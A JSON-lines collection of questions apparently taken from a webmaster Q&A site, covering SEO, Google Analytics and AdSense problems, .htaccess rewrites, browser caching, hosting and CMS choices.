{"id":"61142","title":"New version of website jumping around SERPS","text":"I released a new version of my one year old website a few days ago - the content was much the same but with more (and better) content on the homepage and a bit of optimisation on some of the poor meta descriptions. In the days since launching this my positions in SERPS for my main keywords have really jumped around - some going from out of the top 100, to the top 50 and then dropping out again and that pattern seems to repeat somewhat. Is this normal with Google? Strangely, I've gone from outside the top 100 on bing to number 2 for a main keyword - if only people used bing!"}
{"id":"16539","title":"Google Groups in Google Webmaster Tools?","text":"I have a GoogleSite binded to a Blogger account, and a GoogleGroups account (so googleish of me) Google webmaster tools adds without any trouble the site ant the blog but complains when I try to add my GoogleGroup. The app asks me to validate the ownership of the googlegroup i've created by injecting an htmp into the page or adding a meta tag. But googlegroups does not allow any of the options requested... Any known workaround?"}
{"id":"44670","title":"Non-existent AdSense account is preventing me from signing up","text":"I tried applying for an AdSense account using my gmail account but it was denied for being a duplicate of my old hotmail account. I must have signed up for it years ago, but never got around to using it. The email instructed me to sign in to my AdSense account with my hotmail address and add my gmail address to it. The problem is that my hotmail account is a backup address to my gmail account, so if I try to log in with my hotmail account, it logs me into my gmail account. I deleted the hotmail account from my gmail account and tried to do an AdSense password reset with my hotmail email address but it says there's no account associated with that email... I've spent hours going through the \"Help\" documentation and the closet thing I've been able to find is a request to review a denied application stating that you've never owned the email tied to the other account (which isn't true, it is my old email address.) Another form about issues logging in to your account requires my publisher id, which I obviously can't find since I can't log in. Any ideas where I can go\/what I can do next, or how to contact AdSense when none of their forms apply to me?"}
{"id":"61093","title":"Install my own software on VPS","text":"I didn't have VPS before, I wanna know can I install any software on VPS? For example if I buy Windows VPS can I install Apache on that instead of Microsoft IIS?"}
{"id":"6611","title":"Is there any CC licensed illustrations web resource like flickr?","text":"I maintain a blog about preschool children. I usually get good, open source licensed (creative commons) photos from flickr. Flickr is very rich in terms of quality photos. But the problem is that flickr doesn't have too many illustrations. I wonder if there is a rich resource like flickr which is specifically focused on illustrations?"}
{"id":"6615","title":"design change and google sitelinks","text":"I have a site where google display sitelinks on search results. I want to implement a new design where all sitelink targets would chage. Is that a good idea? Would google drop those links? What would I need to get google update links? For example would permanent redirection of links on new design help?"}
{"id":"6619","title":"How do I find High PR blogs on for a keyword?","text":"I want to search for high page rank sites on a particular keyword.Please tell me how can I do so.Thanks"}
{"id":"6618","title":"Restrict access of rewriting file using .htaccess","text":"I rewrite my .php files to .htm, using the following code in .htaccess file. RewriteEngine on Options +FollowSymlinks RewriteRule ^(.+)\\.htm$ $1.php [NC] This is working fine. But now I want to restrict access of .php file directly. As example: when people request index.htm he can see the content of index.php file, but if he request index.php then he will get an 404 error. How is it possible?"}
{"id":"10842","title":"Is there a Content Management System that allows multiple & independent blogs to be running on one domain?","text":"I am a Wordpress fan, and I'm now building a new site and I'm not sure which CMS can achieve what I'm trying to do. I am building a food blog network for a bunch of cities in the US, and I want to my city pages to be independently running blogs themselves. So basically... * Home Page - Its own blog with its own users, talking about Food in general * Dallas Page (child of home page) - Its own blog with its own users * Chicago Page ..... so on and so forth. The web layout and design will be all the same, but just trying to achieve 25~50 independent blogs on one domain. How can I achieve this? I'm hoping that I don't have to install Wordpress into as many subdomains that I create."}
{"id":"10843","title":"Renaming site, moving domain after 3 yrs. Should I reconsider?","text":"After recently announcing it, one of my readers with a background in website management sent me an email saying that I should reconsider moving my domain from [keyword]news.org to [same keyword]lab.com. It is a content-heavy news site around products that I hope to eventually build into a more comprehensive authority for the [keyword] industry I'm covering w\/ B2B services, merchandise, etc. The current domain is a bit generic & I think the new one will be more marketable. Relevant stats: * 320k-350k pv's\/month * Google brings in 39% and Yahoo\/Bing 4% of traffic * 10-11% of monthly search strings contains \" news\" SEOMoz Open Site Explorer stats: * Page authority: 65\/100 * Domain authority: 58\/100 * Linking root domains: 226 * Total links: 35,700 I am familiar with what I need to do as far as 301 redirects, etc. I was assuming that I'd be ok after following Google's recommended procedures but now I am not so sure."}
{"id":"52858","title":"Why is Google Analytics saying that I got 5 clicks for each query?","text":"I have two websites, which I have been tracking with GA for 3-4 months now. In either of the site's reports, I have lots of queries shown in `Traffic Sources -> Search Engine Optimization -> Queries` window. However, all of the numbers shown in **Clicks** column are either 5 or 0. Do you think this is a bug ? Below are the screencaps for queries window for both of my sites' GA pages :  The second site is more rich in content, and it has only one query which it shows 12 as the click number :  Or did I really get 5 clicks for each of those queries, over 3 months ?"}
{"id":"10848","title":"Bought some backlink but how to use it?","text":"I have bought a lot of backlink but not sure how to get started with it. like any software to backlink the website or any guide to buld the backlinker. actually i got no idea on how backlinker in the market works, what the algorithm behind actually ? Is there any open sources or tutorial to get started with ?"}
{"id":"52850","title":"Why is my DOCTYPE showing up as red italic in Page Source?","text":"When viewing my page in Page Source, I am getting the first line in red italic. What is causing this and is it an issue? "}
{"id":"38049","title":"How long does it take for Google to re-index pages or update the link titles?","text":"On one of our classified sites, when doing `site:[mysite.com]` in Google, the link text is simply _[product name] - [mysite.com]_ , where as it should read _[product name]_ classifieds for sale in... I suspect that the site map may have been submitted when we just had _[product name]_ , and updated the page titles later. However, it has been a couple of weeks that I have confirmed the longer page titles, and still they appear shortened in organic results. How can I get this looking right in Google's organic results?"}
{"id":"68147","title":"Should I keep host name info for moderation purpose?","text":"For every relevant action users perform on a site (posting comments, voting, reporting\/flagging, etc.) I store his IP and host name (retrieved from PHP function `gethostname()` - doc). I have copied this idea of storing the host name from a WordPress rating plugin. I thought that if a well known plugin is doing this, it is because that info is somehow useful when moderating comments or avoiding poll manipulations. But now that I'm redesigning the site and the database structure, I start to question if this info is really useful. Is it normal to keep this info? Should I keep it or just drop the column?"}
{"id":"60945","title":"What is the proper grammatical use of domain name in a web site?","text":"I have a non-technical issue, in fact it is probably more grammatical in nature. On http:\/\/www.FindGamers.us I tend to run the two words `find` and `gamers` together as one word in sentences because it's the domain name. So I might say something like, \"FindGamers like all web sites....\" I do it that way because it's proper noun but I'm not entirely sure its the right thing to do. Should I say `Find Gamers` instead of `FindGamers` in page text & articles unless I am specifying the domain name? You see, this also affects SEO. Because I want people searching google for those words to find the site. People don't search for the two words rammed together when they want to `find gamers` on google etc."}
{"id":"60940","title":"Will another site (a shop in shop) that shows our inventory then directs users to us to complete the purchase hurt our SEO?","text":"My company has build a webshop (for jewels and watches in case that matters). We got contacted by another site, a shop-in-shop. **The shop-in-shop site does the following:** * Collects feeds from different shops and present those products **(1)** * You can browse those products per category, similar products sorted together * When you click a product, you get a 'preview', a fancybox-like div with img and a price **(2)** * When you click `buy` they redirect the user to the productpage of the webshop offering it _(1) I don't know how they decide to show which product if multiple shops offer the save, asume all shops provide unique products_ _(2) It's not an iframe, so it's not a subpage or something (in case of duplicate content)_ I'm worried this might backfire, but a.t.m. I can't really think of something that will effect negatively, and the increase in backlinks and pagevisits is positive."}
{"id":"47703","title":"Can I use product images from official websites?","text":"I would like to promote some laptop products. For example Lets say Acer Laptop. Am I allowed to copy image from that website and use it in my website? I'm promoting their products. So its not illegal right?"}
{"id":"21027","title":"What is the best SEO method for a single page website on which all content is loaded with initial page load","text":"I'm developing a single page website that will have all it's content available by scrolling down and showing\/hiding various DOM elements. Most of the discussion I've seen on SO on this topic is related to how to get Google to index content that's loaded after the initial load via AJAX. My situation is different in that all of my content is present after the initial load. My goal is to get Google to index the different sections of the page (about, contact, etc) individually. I've read the Making AJAX Applications Crawlable site that Google has put together, and it seems like the best (only?) option. However, given that all of my __escaped_fragment_ links will render the same content, I'm concerned that I might get penalized by Google for having duplicate content at different URLs. Is that a reasonable concern is this case?"}
{"id":"32195","title":"Tracking a goal through a virtual pageview is not registering","text":"I am trying to track a goal in Google Analytics through a virtual pageview. As you can see in the code example, it is linking out from a picture instead of text with a link.  I triple-checked to see if I had my Goals set up properly in the Admin panel, where the goal URL is set to \"\/click2\", the goal type is URL destination and the match type is Head Match.  I am unsure if the problem lies in the fact that it's linking out to an \"https\" link or if the link is attached to a picture that serves as a Call To Action. I would appreciate if any of you can help shed some light on this problem I'm having."}
{"id":"19520","title":"Clear the cache of the last visited page","text":"I have an HTML page that has shows if a server is online of offline via an IFRAME transcluding a php file. If someone clicks on a link, like to turn the server on or off and presses the Back button on the browser, the browser loads a cached version of the page and still displays the server as \"off\" unless the page is refreshed. I know there are other ways to go about this but I would like for just that page to not be cached so that when a user reaches that page via the Back button, it will have to redownload the page. How can this be done? Is it even possible? Putting `header(\"Cache-Control: no-cache, must-revalidate\");` in the php file did not work."}
{"id":"22054","title":"Free link checker for large website?","text":"Can anyone recommend a free, thorough online link checker for a fairly large website?"}
{"id":"22050","title":"HTML encoding in the alt attribute","text":"Why is it that `»` valid for an alt atribute but `»` is not?"}
{"id":"65118","title":"Does a unique ID and title in URL slug improve SEO?","text":"Stackexchange post URLs have URLs like this: http:\/\/webmasters.stackexchange.com\/questions\/9848\/squeezing-all-the-seo-out-of-a-url-as-possible Which is the format: `\/questions\/{id}\/{slugified-post-title}` The `9848` is obviously the unique identifier of the post, which is all that is necessary to look up the question in a data source. What is the title there for then? Is it strictly for SEO reasons and maybe to make the URL more readable? Or are there other reasons as well?"}
{"id":"65730","title":"Two different websites with same product images","text":"I need some advice from more experienced webmasters. I have 2 websites (site A and site B). These websites are totally different, but they use same product images (around 1 GB of images). These websites are on same hosting server. For now, site A has own folder with images and site B has own. I'm wondering if there is a way to have two different websites with only 1 folder with images, so I could save some time and disk space on server. I read a bit about CDN (Content Delivery Network) but I'm not sure if it may help me. I'm using API to grab product images, so I need a way to upload images on remote server automatically. Maybe there is another way to achieve this?"}
{"id":"12193","title":"How to verify what modules are active on my server?","text":"While trying to solve a problem on my website, a recommendation about my .htaccess file I got was > First of all, please check on the server for all the different modules if > they are enabled, and once they are, remove the <IfModule ...><\/IfModule> > blocks. They are putting an unnecessary strain on your server. I don't know where should I look to see if modules are active - is it in the CMS? in the httpd.conf file? in the files on my server? should I make a slight modification in the .htaccess as a test? But more than that, could the recommendation self be not appropriate? Thanks. Here is the .htaccess file for which the recommendation has been made: Options +FollowSymLinks -MultiViews RewriteEngine on AddHandler x-httpd-php .html .htm <ifModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk Yes mod_gzip_item_include file \\.(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$ mod_gzip_item_include mime ^text\/.* mod_gzip_item_include mime ^application\/x-javascript.* mod_gzip_item_exclude mime ^image\/.* mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* <\/ifModule> <ifModule mod_expires.c> ExpiresActive On ExpiresDefault \"access plus 1 seconds\" ExpiresByType text\/html \"access plus 1 seconds\" ExpiresByType image\/gif \"access plus 2592000 seconds\" ExpiresByType image\/jpeg \"access plus 2592000 seconds\" ExpiresByType image\/png \"access plus 2592000 seconds\" ExpiresByType text\/css \"access plus 2592000 seconds\" ExpiresByType text\/javascript \"access plus 216000 seconds\" ExpiresByType application\/x-javascript \"access plus 216000 seconds\" <\/ifModule> <ifModule mod_headers.c> <filesMatch \"\\\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(css)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(js)$\"> Header set Cache-Control \"max-age=216000, private\" <\/filesMatch> <filesMatch \"\\\\.(xml|txt)$\"> Header set Cache-Control \"max-age=216000, public, must-revalidate\" <\/filesMatch> <filesMatch \"\\\\.(html|htm|php)$\"> Header set Cache-Control \"max-age=1, private, must-revalidate\" <\/filesMatch> <\/ifModule> <ifModule mod_headers.c> Header unset ETag <\/ifModule> FileETag None <ifModule mod_headers.c> Header unset Last-Modified <\/ifModule> RewriteCond %{HTTP_HOST} !^(www\\.)?foo\\.com$ RewriteRule .? http:\/\/foo.com%{REQUEST_URI} [R=301,L] #BEGIN WordPress <IfModule mod_rewrite.c> RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php <\/IfModule> # END WordPress"}
{"id":"12195","title":"Standard ratio of cookies to \"visitors\"?","text":"As noted in a recent blog post, We see **a large discrepancy between Google Analytics \"visitors\" and Quantcast \"visitors\".** > Also, for reasons we have never figured out, Google Analytics just gets > larger numbers than Quantcast. Right now GA is showing more visitors (15 > million) on stackoverflow.com alone than Quantcast sees _on the whole > network_ (14 million): > >  > > Why? I don’t know. Either Google Analytics loses cookies sometimes, or > Quantcast misses visitors. Counting is an inexact science. We think this is because **Quantcast uses a more conservative ratio of cookies-to-visitors**. Whereas Google Analytics might consider every cookie a \"visitor\", Quantcast will only consider every 1.24 cookies a \"visitor\". This makes sense to me, as people may access our sites from multiple computers, multiple browsers, etcetera. I have two closely related questions: 1. Is there an accepted standard ratio of cookies to visitors? This is obviously an inexact science, but is there any emerging rule of thumb? 2. Is there any more accurate way to count \"visitors\" to a website other than relying on browser cookies? Or is this just always going to be kind of a best-effort estimation crapshoot no matter how you measure it?"}
{"id":"12196","title":"How do sites manage browser and mobile versions?","text":"I build a website either by simple HTML\/CSS, or I build one using Drupal or Wordpress, for modern PC browsers. Now, I want a mobile-friendly version of the site. What is considered some of the best ways to do this? My thoughts: 1. Detect the mobile browser from a list and redirect to a subdomain\/dir that has been designed for mobiles 2. Build the site to be simulatenously viewable by all browsers, mobile or not (using fluid layouts)? 3. Using a CMS, install a module that does the work for you. I'd really like to know how some of the big, popular sites implement it and what you all consider to be the proper way. I understand that NY Times has its own app for this, but I consider that to be overboard for obvious reasons."}
{"id":"12197","title":"Creating multi-language pages in Google Sites","text":"is it possible to create pages in more than one language without having to create separate pages for each language in Google Sites? This isn't a feature of Google Sites, but I was hoping there might be a workaround. Greets, Kenny"}
{"id":"26213","title":"Forcing browser to load new image","text":"I have recently been doing some image replacement work for a client, he sends me the new image png files and I upload them replacing the old ones with the new ones ( keeping the same name ). I tell him that to see the new images he needs to hard refresh the page (shift+refresh) but I can tell that he's wondering when his customers will see those new images, and to be honest I don't know myself. I cant seem to find out either; I also wondered if there is some way I can educate the browser that an image has been changed, and I thought that maybe I could use meta tags to do this, but it seems not. Can anyone enlighten me on this issue, when does the browser decide (if left to it's own devices) to discard the cached images and load the new ones from the server, and is there any way I can influence this ( other than using different file names and recoding the HTML and CSS to reflect the changes, which I presume would work)"}
{"id":"26214","title":"Where can I get ISO lists for continent, country, and currency to use on my web pages?","text":"I have done quite a bit of looking around, and found several lists based on the ISO standards, but of dubious quality, e.g. with null or blank entries, extra entries that are not real currencies etc. Can somebody recommend a source that I can use for these lists? Does someone like Google API maybe offer these as a service? Where should I go looking for these? I would like to get data in delimited file, xml, json, anything friendlier than EDIFACT basically."}
{"id":"60116","title":"Do I need to include an image in every single blog post?","text":"I have read a lot about including an image that has some visual representation of the content of the post and that's what I recommend to my clients. However, one of my client does not want to use images in any of her posts as the blog is about simplicity and use of a photo will limit a visitor's imagination. Is it a healthy practice (from Search Engines' point of view) to not include any image in the content?"}
{"id":"43939","title":"Bing doesn't index my website correcty","text":"I have a website with robots and sitemap which is working on Google. I created a bing webmasters and sent the sitemap some weeks ago, but whenever I search site:www.mysite.com I get only the root folder in my website. I think this should be because I have no website in my root (www.mywebsite.com), if a user enters this domain, he is redirected to www.mywebsite.com\/questions. Is there any way I can inform bing that this redirect is correct and should be followed? thanks, Oscar"}
{"id":"54432","title":"Name of web design technique with vertically contiguous but separate screen-sized blocks?","text":"I don't know the proper name for this, which makes it hard to Google it or describe this. On a site like http:\/\/p2theme.com\/ as you scroll down you see that content is arranged into screen-sized chunks, each with its own chunk of content, each with a different background color, making them visually distinctive. I've seen this used more and more frequently on websites, but don't know what it's called. People have tried telling me \"responsive design\" or \"flat UI\" or \"infinite scroll\" or \"parallax\" -- but those are completely different things. What do you call this technique?"}
{"id":"43428","title":"404 page not showing URL","text":"My 404 page (`\/404.php`) works, it's sending the proper headers (404 - Not found). But the thing is, it's not giving the link that caused it (e.g. `example.com\/thisisnon-existant.htm`) but instead it's giving my 404 page (`example.com\/404.php`). How would I get it fixed? All I did was add the following to _.htaccess_ : ErrorDocument 404 http:\/\/example.com\/404.php My 404 page's code is here: http:\/\/pastebin.com\/G7mQ4aT1."}
{"id":"43427","title":"Is Forbes' welcome page bad for seo?","text":"I saw a interesting case in forbes' website. When you enter the website it shows you a page that contains a quote then you click on \"continue\" button and see the actual page. Example: http:\/\/www.forbes.com\/sites\/kenkrogue\/2012\/07\/20\/the-death-of-seo- the-rise-of-social-pr-and-real-content\/ You should be redirected to: http:\/\/www.forbes.com\/fdc\/welcome_mjx.shtml I check the codes, it uses javascript to redirect. I think it's a good idea to make money, more ctr. But how does forbes make their website seo friendly by making this?"}
{"id":"43933","title":"CPC 0.00 and two clicks for just 0.1 $","text":"In my Google Adsense account I noticed that the CPC is 0.00 $?!!! The following screen shot shows detailed description of the situation:  Do there any penalties from Google on my account? Why the cost per click is zero?"}
{"id":"43423","title":"Is is good idea to let google list attachment pages?","text":"I know the majority of people don't let google crawl their WordPress attachment pages. In my opinion the attachment pages aren't duplicate content because they don't show the whole content but just a unique image or PDF link or other file. I don't understand why people hesitate to use them in a natural way. Although it will cause Google to index a lot of extra pages in your site, doesn't this increase the visibility in search results? What are the drawbacks of letting Google see these pages?"}
{"id":"21711","title":"SEO: Is forcing a request to WWW.domain.com from domain.com a bad idea?","text":"I have an htaccess file that is forcing the URL request to www. instead of a bare hostname (this is to resolve SSL issues I'm facing that are fixed when you visit the site via www.) Is this a bad idea in the SEO world?"}
{"id":"21791","title":"How do I get google to read each site on my server?","text":"I currently building a server to host many sites. How do I get google to crawl each site without submitting a site map to google for each site?"}
{"id":"56392","title":"Apache - How to extend localhost scope e.g. to other drives?","text":"In Apache _httpd.conf_ file I can set the DocumentRoot value. After setting this, if I view \"localhost\" in a browser, I can see the folders and files this given folder contains. I cannot \"speak\" PHP language well yet but I assume that all PHP activities in connection with files and folders are limited to the scope of localhost, so if I handle files with PHP they must be in the folder set as DocumentRoot (or in subfolders of it). How can I set localhost's scope to a wider range, especially to other drives? My goal is to be able to handle files with PHP on my whole computer (it's a \"locahost-only\" project so it's not a must to be able to use it on \"real\" servers)."}
{"id":"3703","title":"What would be a list of common website expenses?","text":"For example: seo; web-development; site-maintenance; hosting; domain; ssl- certificate; etc. **___ __ _UPDATES_ __ ___** **FROM_ME:** Stock-Photos; Logo; Legal; eCommerce_Shopping-Cart **FROM_Lèse_majesté:** IP-for-SSL-CERT; Merchant-Account; Payment- Gateway_setup,fees; website-design_template,customization; CMS-Customization; ADs_PPC"}
{"id":"3700","title":"Is viewing a site's unpassword protected HTTP logs\/stats illegal?","text":"If not, why? If so, please provide US Federal code, or case law confirming this is the case."}
{"id":"52188","title":"SEOing several videos effectively","text":"I'm new at the field of search-engine optimizing - I'm making video content on Youtube for a very long time, but I'm just an amateur guy. I have a lot of videos, including several video series. Are there any way to add common content (such as tags, regular titles, etc.) that makes the SEO effectiveness of those videos better? Moreover, what's the result of using regular titles, description and tags (e.g. World of X - part 1, World of X - part 2, etc.) in a series of videos? Because I suggest it makes them less interesting for people, but it may not cover the SEO effectiveness."}
{"id":"17663","title":"What does it mean if a domain is unlocked?","text":"A domain I'm interested in acquiring as its status showing as \"Unlocked\". It's due to expire in a couple of weeks. What does the \"unlocked\" status mean? Am I more likely to be able to register the domain when\/if it expires?"}
{"id":"1880","title":"Is there a tool to compare space used by each file of a web page?","text":"Is there a tool that can load a web page and compare the space used (and thus load time) by each file? For example: "}
{"id":"28681","title":"Possible to list categories on Main Page?","text":"I would like to put all the categories at the bottom of the Main Page in a more compact way than what `Special:Categories` does. On this page are pages listed in a very nice way with bold letters. Can the same be done with categories instead of pages?"}
{"id":"2122","title":"Gravatar or host my own avatars?","text":"Planning on launching a new site and was wondering if I should simply host my own user avatars or integrate gravatars. What is the best way to approach this? Gravatar for those who don't know what it is"}
{"id":"4665","title":"How to track subdomains with Google Analytics while having mod_rewrite redirect to a subdomain?","text":"When users come directly to `domain.com` or `www.domain.com`, I am redirecting them to `shop.domain.com` via this .htaccess rewrite: RewriteEngine on RewriteCond %{HTTP_HOST} ^www.domain.com$ [OR] RewriteCond %{HTTP_HOST} ^domain.com$ RewriteRule ^(.*)$ http:\/\/shop.domain.com\/ [R=301,L] The content served by shop.domain.com has the following tracking code parameters: var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-123456-6']); _gaq.push(['_setDomainName', '.domain.com']); _gaq.push(['_trackPageview']); All direct visits that come to `shop.domain.com` as a result of the rewrite from `domain.com` are tracked as referral traffic, showing my own `domain.com` as referral source in Google Amalytics. I would like to track these visits as direct traffic. How to change the configuration to track mod_rewritten traffic on my subdomain coming from my own domain as direct traffic?"}
{"id":"4661","title":"Piwik vs. Google Analytics","text":"I run both piwik and google analytics on my site. I have noticed that the google analytics data is totally wrong. It does not seem to register any hits while piwik does. What could be wrong?"}
{"id":"57491","title":"What if I void a license for an HTML5 website?","text":"We are developing a new website for a group of people initializing their first startup and started looking for good looking templates and found one interesting from a popular site selling web templates\/PSDs. Fortunately, or unfortunately, we somehow managed to get the complete template of that particular website that we found interesting. Since we are developing a website for a company, can we proceed with the template in our hand \/ apply for a license from the site selling the template?"}
{"id":"11712","title":"Hijax == sneaky Javascript redirects? Will I get banned from Google?","text":"### Question Will I get penalised as **\"sneaky Javascript redirects\"** by Google if I have the following Hijax setup (which requires a JavaScript redirect on the page indexed by google). ### Goal I want to implement Hijax to enable AJAX content to be accessibile to non- JavaScript users and search engine crawlers. ### Background 1. I'm working on a static file server (GitHub Pages). No server side tricks allowed (so Google's #! \"hash bang\" solution is not an option). 2. I'm trying to keep my files DRY. I don't want to repeat the common OUTER template in all my files i.e. header, navigation menu, footer, etc They will live in the main `index.html` ### Setup the Hijax 1. `index.html` page contains all OUTER html\/css\/js... the site's template. 2. `index.html` has a `<div id=\"content\">` which defaults to containing the \"homepage\" html. 3. `index.html` has a navigation menu, with a Hijax link to an \"about\" page. 4. With JavaScript **disabled** (e.g. crawler) it follows link to `\/about.html`. 5. With JavaScript **enabled** (e.g. most people) the link updates the url hash fragment to `\/#about` and jQuery replaces the `<div id=\"content\">` innerHTML with `$(\"#content\").load(\"about.html #inner-container\");`. ### AJAX content `about.html` _does not_ contain anything extra to try an cloak content for crawlers. `about.html` file contains enough HTML \/ CSS \/ JavaScript to display `\/about.html` as a standalone page with it's own META data... e.g. `<html><head><title>About<\/title>...<\/head><body><\/body><\/html>`. `about.html` has NO OUTER HTML template (i.e. header, navigation menu, footer, etc). `about.html` `<body>` contains a `<div id=\"inner-container\">` which holds the content that is injected into `index.html`. `about.html` has a `<noscript>` tag as the first child of `<body>` which explains to non-JavaScript users that they are viewing the about page \"inner content\" - with a link to navigate to the `index.html` page to get the full page layout with menu. ### The (Sneaky?) Redirect Google indexes the `\/about.html` page. However when a person with JavaScript enabled visits that page there is no OUTER html template (e.g. header, navigation menu, footer, etc). So I need to do a JavaScript redirect to get the person over the `\/#about` page (deeplinking to the \"about\" page \"state\" in `index.html`). I'm thinking of doing a \"redirect on click or after 10 seconds\". The end results is that user ends up on an \"enhanced\" page back on `index.html` with all it's OUTER template - but the **core** \"page\" content is practically identical. ### Known issue with inbound links e.g. Share \/ Bookmarking It seems that if a user shares the URL `\/#about` on their blog, when allocating inbound links to my site Google ignores everything after the `#` ... it allocates value to the `\/` page - See: http:\/\/stackoverflow.com\/questions\/5028405\/hashbang-vs-hijax\/5166665#5166665. I can only try an minimise this issue offering \"share\" buttons on the page with the appropriate urls i.e. `\/about.html`. ### Duplicate Sorry. I posted this same question over on http:\/\/stackoverflow.com\/questions\/5561686\/hijax-sneaky-javascript-redirects- will-i-get-banned-from-google ... then realised it probably belongs more on this Stack Exchange site... Not sure if I should delete the Stack Overflow question? Or just leave it on both sites? Please leave comment."}
{"id":"11715","title":"google webmastertools will curtom crawl rate affects indexing what are the effects of custom crawl rate","text":"My site was running well for the past three years. Recently googlebot's request my server got increased. and at one time i got network unreachable error. When i contacted my hosting company they asked suggestions from me and i gave a list of google ips to white list. They said that their server will block ip's which are of huge traffic. After that my site appeared well in google. Now after a month again i get network unreachable. when i inquired them they said i have to change my plan from shared hosting to a vps account or a dedicated hosting. I have 300 links indexed by google. will that affect much? So i thought of reducing the crawl rate. Please see the image below and give me suggestions. Previously it was default and now i reduced to the one shown in the picture. Will this affect my indexing in google. Besides will a server block google ip's for this kind of crawl rate like i have 300 links indexed. and they irresponsible say that i have to switch over to vps. confused."}
{"id":"11714","title":"Good webmail service provider","text":"Short background: We are a small webhosting company serving NGOs. We have over 2000 mailboxes on 500 domains. Our biggest problem is the crappy Horde webmail we provide to our customers today. Our server provider is married with Parallels PLESK and PBA suites, and cannot integrate another webmail than Horde to their offering. So we want to provide a better mailservice (especially webmail and mobile mail). Now, we love gmail and Google Apps, but as far as I can decipher online there is no way to manage this many domains and accounts centraliced through their admin panels, or is there? Google is not ansvering my questions on this, I guess theyre not intesrested in dealing with small companies like ours. **What we need is:** * A mail service that has good webmail and preferably a decent mobile interface * Price up to 20€\/account\/year (up to 50€\/account\/year with shared calendars and docs), min space 1Gb\/account * Control panel with 3 user levels * us (reseller, global admin): to manage all 500 domains and their 2000 accounts * domain admin: ability to administrate all the mailboxes (accounts) in their domain * user panel: for the mail user to manage passwords, autoresponders... * API: We have hosting plans with DNS templates in our PBA environment. These automatically point the MX-records to the mailprovider (the rest to our webservers, such as www, ftp and so on), so there must be an easy way to start new domains at the mailprovider, preferably by a script on our server. I guess the initial migration to the new mailprovider is going to be a pain in the behind. We do get our current account data exported as XML and CSV, but what about the other end, any services with migration tools?"}
{"id":"53101","title":"Canonical links and non-identical content (mobile \/ desktop)","text":"We are being advised to: Use switchboard tags to indicate alternate media for handheld devices. Canonicalize those mobile pages to the relevant desktop pages My issue is that I thought that for engines to respect canonical tags the content should be largely identical. This is based on what I read here: https:\/\/support.google.com\/webmasters\/answer\/139394?hl=en Our SEO consultants think that this is no longer the case. Any opinions?"}
{"id":"43647","title":"Google Analytics Kiosk: URL that compares current month to last, and is permalink","text":"We have a kiosk that runs all the time. We display the overview report with this month vs last month comparison. But I have to come in and refresh the page and reset the period every day. Is there a way I can form a URL that accomplishes this goal and will update accordingly when I refresh the page?"}
{"id":"15352","title":"How to indicate to browser that javascript (external) has been changed","text":"The advantage of including js on web page is that I need not to worry about cached js file. If I change it on the server, the same will be reflected on client side. But it increases the size and complexity of webpage. It also affects average response time. But if I make a separate js, so it could be saved at client side on first request, client needs to remove cached js when I do some changes in js at server side. Is there any way (some HTML tag or attribute) to indicate to the browser that js file has been changed at server side. So it downloads the new copy. Or something like versioning."}
{"id":"5177","title":"SEO: Firefox addon\/plugin to see Google results with a position number?","text":"Do you know a Firefox addon that adds postion number to Google\/Yahoo results. When I do SEO report for www.some-site.com by keyphrase \"some-keyphrase\" I usually show results in blocks of 100 results per page. Then uisng browser find box I search for \"some-site.com\", if found in page I see its position, but **I have to count by hand the number of results before (or after) it to know the exact position number**. It would be handful a simple addon that adds a number positioning before each result like: 1. Result blah blah Snippet... url 2. Result blah blah Snippet... url etc."}
{"id":"12430","title":"A frequently updated mixed bag blog OR several seldom updated niche sites?","text":"I am a member of a website where I have about a hundred articles (and I'm always writing more.) Aside from temporary problems I would deal with when removing content from the and putting it on my own domain (duplicate content, etc) I have another problem. Which would be the best for my articles? I have tons of articles in a wide variety of niches and would like to do what would help them perform the best. I'm not a huge niche writer and have received wide criticism from the HubPages community for my articles not performing as well as they could because I don't use enough keywords within the text of my articles. I prefer to write more naturally in a way that would appeal to an audience instead of keyword stuff. Anyway, this is aside the point. **My Question** After removing my articles from the site, should I put them on one domain or spread them across multiple domains grouped sort of by topic. For example: a-bunch-of-articles.com OR travel-articles.com and financial- articles.com and knitting-articles.com (I know those domains aren't available, but it's just kind of an example.) Here are the pros and cons of each: a mixed bag site like a-bunch-of-articles.com may not perform as well because of its mixed-bag nature a mixed bag site would be updated far more frequently than several niche sites... some niche sites may be updated so infrequently that a year could pass before one sees a new article a mixed bag site would be like putting all my eggs is one basket, where having several niche sites would spread out my portfolio, so to speak. a mixed bag site wouldn't allow me to easily target keywords, but then again isn't HubPages pretty much a mixed bag site?"}
{"id":"58137","title":"Does Google Analytics influence Alexa rank?","text":"Do the statistics seen in Google Analytics influence how Alexa ranks a site? Or does each service have its own rankings?"}
{"id":"17008","title":"SEO: Navigation of Multiple Page Results","text":"When displaying product pages I only show a subset of products to save server bandwidth and increase load times. Each page is implement as a link. I recently converted from a drop down selector that changed the page url on selection to pure anchor tags. My question is, is it worth it to make sure crawlers can access all my pages for the sake of screen real estate and aesthetics? I personally liked the drop down better than a bunch of page numbers separated by a pipe - '|' - symbol plus it took up much less screen real estate."}
{"id":"42540","title":"WordPress - SEO - does turning off comments matter on a non comment template?","text":"I have a custom WordPress themed website. None of my page\/post\/category\/tag\/etc. template pages have any code that has anything to do with comments (as far as I know). I am wondering if there is anything wrong with leaving \"Allow Comments\" on for each post\/page entry when creating a new page\/post or is there a good reason I should un-check this for each?"}
{"id":"135","title":"What are the best ways to measure end user web site performance?","text":"I know of a couple tools to measure end user web site performance and I'm wondering what else is out there. The two major ones I know of are yslow and Google's page speed."}
{"id":"20770","title":"How to find the most visited pages of a site?","text":"When visiting a new site I'd like to see the most visited pages instead of browsing through the new ones. Is that possible with a Google command similar to \"site:whatever.com\"?"}
